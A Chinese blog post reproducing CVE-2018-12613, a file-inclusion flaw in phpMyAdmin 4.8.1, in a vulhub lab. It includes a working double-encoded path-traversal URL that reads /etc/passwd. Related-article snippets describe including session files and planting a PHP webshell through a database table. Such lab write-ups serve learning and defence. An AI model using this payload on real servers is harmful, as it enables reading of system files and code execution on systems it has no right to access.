phpmyadmin 4.8.1 远程文件包含漏洞（CVE-2018-12613）

最新推荐文章于 2024-02-16 01:08:24 发布
最新推荐文章于 2024-02-16 01:08:24 发布
阅读量219 收藏 1
点赞数
分类专栏： vulhub漏洞复现 文章标签： php mysql
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/EC_Carrot/article/details/118929113
版权

漏洞简介

phpMyAdmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库，创建、删除、修改数据库表，执行SQL脚本命令等。 phpMyAdmin 4.8.2之前的4.8.x版本中存在安全漏洞。攻击者可利用该漏洞包含（查看并可能执行）服务器上的文件。

漏洞复现

访问http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
在这里插入图片描述
可见/etc/passwd被读取，说明文件包含漏洞存在

小 白 萝 卜
关注
专栏目录
基于PHP的adminerv4.8.1取代phpmyadmin的在线管理mysql好工具源码.zip
07-29
基于PHP的adminerv4.8.1取代phpmyadmin的在线管理mysql好工具源码.zip
phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613)
weixin_63231007的博客
10-08 2847
_REQUEST['target'] 搜索数组$target_blacklist 中不存在指定的值（ ‘import.php’, ‘export.php’）target=db_sql.php%253f/../../../../../../../../../../tmp/sess_[session]target=db_sql.php%253f../../../../../../../../flag 得到flag。$_REQUEST['target'] 参数携带的内容是字符串。
文件包含漏洞--phpMyAdmin 4.8.1
最新发布
xiesiyuan1的博客
02-16 1176
需要同时满足条件（参数target不为空、是字符串、不以index开头（此时如果需要加载index文件去绕过，可尝试使用xxx/../index.php）、不在数组target_blacklist中（此处也可以用xxx/../index.php的方式绕过 ）、在checkPageValidity()函数中返回真）才能得到参数。因为此靶场可以对数据库直接操作，我们可以直接查找数据库文件（/MySql/data/数据库名/表名.frm），并且直接新建表，将字段名命名为一句话木马，从而将一句话木马包含进去。
phpmyadminV4.8.1本地文件包含漏洞复现
seek_2022的博客
07-05 3178
出于学习和技术分享的目的，本文针对phpMyadmin-v4.8.1存在的文件包含漏洞，通过代码审计结合本地搭建测试环境的方式进行漏洞复现研究，以供大家参考学习。
phpMyAdmin 4.8.1 本地文件包含漏洞复现
weixin_51681694的博客
04-22 677
漏洞点在根目录下的index.php中的61行target传参可任意控制，控制index.php包含任意文件上面的if条件需要满足target且为且且中黑名单：查看最后一个条件，需要返回true第一个红框定义白名单第二个红框检查文件名是否在白名单中，在则返回true第三个红框将原传入字符串从0到?前分割出来，再检查字符串是否在白名单中，在则返回true可以考虑设置字符串内容？之前的字符串为白名单，绕过过滤，可是?不能出现在文件名中最后则是利用点。
phpmyadmin 远程文件包含漏洞（CVE-2018-12613） - tdcoming'blog QQ group 906
08-04
漏洞背景背景介绍phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具…阅读数 156博文CVE-2018-12613 --- 本地文件包含造成
phpMyAdmin 4.0.1--4.2.12 本地文件包含漏洞(CVE-2014-8959)-附件资源
03-05
phpMyAdmin 4.0.1--4.2.12 本地文件包含漏洞(CVE-2014-8959)-附件资源
Phpmyadmin后台代码执行CVE-2016-5734_poc
09-30
CVE-2016-5734在exploit-db上也就是 phpMyAdmin 4.6.2 - Authenticated Remote Code Execution ，意即phpMyAdmin认证用户的远程代码执行，根据描述可知受影响的phpMyAdmin所有的 4.6.x 版本（直至 4.6.3），4.4.x ...
phpMyAdmin 4.8.1 远程文件包含漏洞复现
不想当脚本小子的脚本小子
04-04 1109
0x01 漏洞简介 phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在phpMyAdmin 4.8.2 之前的 4.8.x 版本中，其index.php中存在一处文件包含逻辑，通过二次编码即可绕过检查，造成远程文件包含漏洞。 影响范围 phpMyAdmin 4.8.0 phpMyAdmin 4.8.1 0x02 漏洞环境 使用vulnhub快速搭建靶场 bash cd /vulhub/phpmyadmin/CVE-2018-12613 sudo docker-comp
phpMyAdmin 4.8.1后台文件包含漏洞（CVE-2018-12613）
qq_45521281的博客
04-27 3706
这篇文章将分享一个phpMyAdmin 4.8.1版本的文件包含漏洞，从配置到原理，再到漏洞复现进行讲解，更重要的是让大家了解这些真实漏洞背后的知识。 文章目录一.phpMyAdmin二.phpMyAdmin基础用法三.漏洞原理四.phpMyAdmin漏洞复现 一.phpMyAdmin phpMyAdmin是一种MySQL数据库的管理工具，安装该工具后，即可通过Web形式直接管理MySQL数据，而...
phpmyadmin 4.8.1 远程文件包含漏洞
永不垂头的博客
08-14 740
phpmyadmin 4.8.1 远程文件包含漏洞 文章目录phpmyadmin 4.8.1 远程文件包含漏洞一、漏洞详情二、漏洞复现1.任意文件包含2.任意代码执行3.向数据库写入php代码4.包函session文件三、我的公众号 一、漏洞详情 首先在index.php 50-67行代码 满足5个条件后就会include$_REQUEST[‘target’]的内容 $_REQUEST[‘target’]不为空 $_REQUEST[‘target’]是字符串 $_REQUEST[‘target’]不
[WEB安全]phpMyadmin后台任意文件包含漏洞分析(CVE-2018-12613)
baguangman5501的博客
09-02 485
0x00 简介 影响版本：4.8.0——4.8.1 本次实验采用版本：4.8.1 0x01 效果展示 payload： http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd 0x02 漏洞分析 漏洞产生点位于：index.php文件54—67行 可以看到如果要包...
phpMyAdmin 4.8.1 远程文件包含 CVE-2018-12613 漏洞复现
Senimo
12-11 1767
漏洞复现 phpMyAdmin 4.8.1 远程文件包含 CVE-2018-12613 APP：phpMyAdmin 4.8.1 CVE：CVE-2018-12613 类型：远程文件包含 下载phpMyAdmin 4.8.1源码 漏洞问题出现在index.php页面55~63： // If we have a valid target, let's load that script instead if (! empty($_REQUEST['target']) && is_str
phpmyadmin4.8.1远程文件包含漏洞 [GWCTF 2019]我有一个数据库1
m0_75178803的博客
12-19 643
打开题目我们用dirsearch扫描一下后台看看扫描结果如下我们访问一下robots.txt看看，提示有phpinfo.php那我们访问一下phpinfo.php发现没有任何信息后我们转去看看phpmyadmin看看成功访问到页面在这里我们看到phpmyadmin的版本号是4.8.1我们百度搜索一下看看我们知道phpmyadmin4.8.1存在远程文件包含漏洞输入​/index.php?可以看到能够成功执行那我们尝试一下直接寻找flag直接就得到了flag。
phpMyAdmin4.8.1漏洞复现及利用
qq_43579362的博客
09-08 2264
一.环境配置 我采用的是Windows+phpstudy配置的运行环境，将phpMyAdmin4.8.1下载好解压到phpstudy网站根目录即可，这里需要注意的是php版本和Mysql的版本 配置好后,直接访问http://localhost/phpMyAdmin 登陆成功成功后你会遇到下图 解决方法： 修改phpMyAdmin/libraries文件下的config.default.php里面的$cfg['blowfish_secret']配置，随意修改保存即可，长度一定要达到要求。 二.漏洞复
CVE-2018-12613 (phpmyadmin 4.8.1 远程文件包含漏洞)
weixin_44732566的博客
07-04 549
phpmyadmin 4.8.1 远程文件包含漏洞（CVE-2018-12613） phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑，通过二次编码即可绕过检查，造成远程文件包含漏洞。 0x01 影响范围 phpMyAdmin 4.8.0 and 4.8.1 are affected. 0x02 原理 漏洞代码 $target_blacklist = array ( 'import.php', 'export.php' ); //
phpmyadmin后台文件包含漏洞分析
nareku的博客
04-10 6037
前言 在墨者学院看到这道题给的标签是文件包含，就想着拿来练练手，果然不练不知道一练吓一跳，里面还是有很多我没学到和不懂的知识，所以就打算单独拿出来写一篇博客来记录一下。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值